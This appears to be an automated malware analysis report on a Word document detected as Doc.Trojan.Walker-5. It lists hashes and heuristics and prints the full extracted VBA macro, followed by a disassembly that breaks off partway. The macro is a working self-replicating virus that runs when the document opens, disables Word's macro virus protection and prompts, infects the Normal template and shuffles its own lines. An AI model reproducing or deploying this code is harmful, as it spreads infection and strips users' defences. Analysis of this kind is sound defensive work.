Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3344a60b00e319fa…

MALICIOUS

Office (OLE)

30.5 KB Created: 1998-11-03 20:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d68d9bc816501bf7153402b1a9908fc4 SHA-1: 6be92ece2263b3abadac39e24ec540fd35e27907 SHA-256: 3344a60b00e319fafdaa22bf13b64de3d919a80756f43cc273ccacb163382339
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains VBA macros, specifically a Document_Open macro. The macro code appears to be designed for infection and propagation, potentially by modifying other documents or downloading further stages. The presence of the Document_Open macro suggests an attempt to execute malicious code upon opening the document, aligning with spearphishing attachment tactics.

Heuristics 3

  • ClamAV: Doc.Trojan.Walker-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Walker-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6281 bytes
SHA-256: 6e67d238d12f30a11a5a7a96ff27cb9abf4041c2c3535fa9aa0ce5b37e4429a0
Detection
ClamAV: Doc.Trojan.Walker-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
GoTo 10
70 NI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 80
110 If NormInstalled = True And ActInstalled = True Then Exit Sub Else: GoTo 120
140 With Carrier: VirCode = .Lines(1, .CountOfLines): End With: GoTo 150
10 Application.EnableCancelKey = wdCancelDisabled: GoTo 20
100 If UCase(AI) = "ON ERROR RESUME NEXT" Then ActInstalled = True: GoTo 110 Else ActInstalled = False: GoTo 110
40 Application.CommandBars("Tools").Controls(12).Visible = False: GoTo 50
130 IL = Carrier.CountOfLines: GoTo 140
170 For i = 4 To IL - 1: RL = Int(Rnd * (IL - 5)) + 4: GCL = Infection.Lines(i, 1): Infection.DeleteLines i, 1: Infection.InsertLines RL, GCL: Next i: Exit Sub
80 AI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1): GoTo 90
90 If UCase(NI) = "ON ERROR RESUME NEXT" Then NormInstalled = True: GoTo 100 Else NormInstalled = False: GoTo 100
20 Options.VirusProtection = False: GoTo 30
120 If NormInstalled = False Then: Set Infection = NormCarrier: Set Carrier = ActCarrier: GoTo 130: Else: Set Infection = ActCarrier: Set Carrier = NormCarrier: GoTo 130
50 Set ActCarrier = ActiveDocument.VBProject.VBComponents(1).CodeModule: GoTo 60
60 Set NormCarrier = NormalTemplate.VBProject.VBComponents(1).CodeModule: GoTo 70
160 Randomize Timer: GoTo 170
150 With Infection: .DeleteLines 1, Infection.CountOfLines: .InsertLines 1, VirCode: End With: GoTo 160
30 Options.SaveNormalPrompt = False: GoTo 40
End Sub

' Processing file: /opt/analyzer/scan_staging/af3ab3443d95408f85e5523a56b1493a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5444 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	GoTo 10 
' Line #3:
' 	LineNum 70 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St NI 
' 	BoS 0x0000 
' 	GoTo 80 
' Line #4:
' 	LineNum 110 
' 	Ld NormInstalled 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld ActInstalled 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	ExitSub 
' 	Else 
' 	BoSImplicit 
' 	BoS 0x0000 
' 	GoTo 120 
' 	EndIf 
' Line #5:
' 	LineNum 140 
' 	StartWithExpr 
' 	Ld Carrier 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St VirCode 
' 	BoS 0x0000 
' 	EndWith 
' 	BoS 0x0000 
' 	GoTo 150 
' Line #6:
' 	LineNum 10 
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' 	BoS 0x0000 
' 	GoTo 20 
' Line #7:
' 	LineNum 100 
' 	Ld AI 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x0014 "ON ERROR RESUME NEXT"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActInstalled 
' 	BoS 0x0000 
' 	GoTo 110 
' 	Else 
' 	BoSImplicit 
' 	LitVarSpecial (False)
' 	St ActInstalled 
' 	BoS 0x0000 
' 	GoTo 110 
' 	EndIf 
' Line #8:
' 	LineNum 40 
' 	LitVarSpecial (False)
' 	LitDI2 0x000C 
' 	LitStr 0x0005 "Tools"
' 	Ld Application 
' 	ArgsMemLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' 	BoS 0x0000 
' 	GoTo 50 
' Line #9:
' 	LineNum 130 
' 	Ld Carrier 
' 	MemLd CountOfLines 
' 	St IL 
' 	BoS 0x0000 
' 	GoTo 140 
' Line #10:
' 	LineNum 170 
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0004 
' 	Ld IL 
' 	LitDI2 0x0001 
' 	Sub 
' 	For 
' 	BoS 0x0000 
' 	Ld Rnd 
' 	Ld IL 
' 	LitDI2 0x0005 
' 	Sub 
' 	Paren 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0004 
' 	Add 
' 	St RL 
' 	BoS 0x0000 
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld Infection 
' 	ArgsMemLd Lines 0x0002 
' 	St GCL 
' 	BoS 0x0000 
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld Infection 
' 	ArgsMemCall DeleteLines 0x0002 
' 	BoS 0x0000 
' 	Ld RL 
' 	Ld GCL 
' 	Ld Infection 
' 	ArgsMemCall InsertL
... (truncated)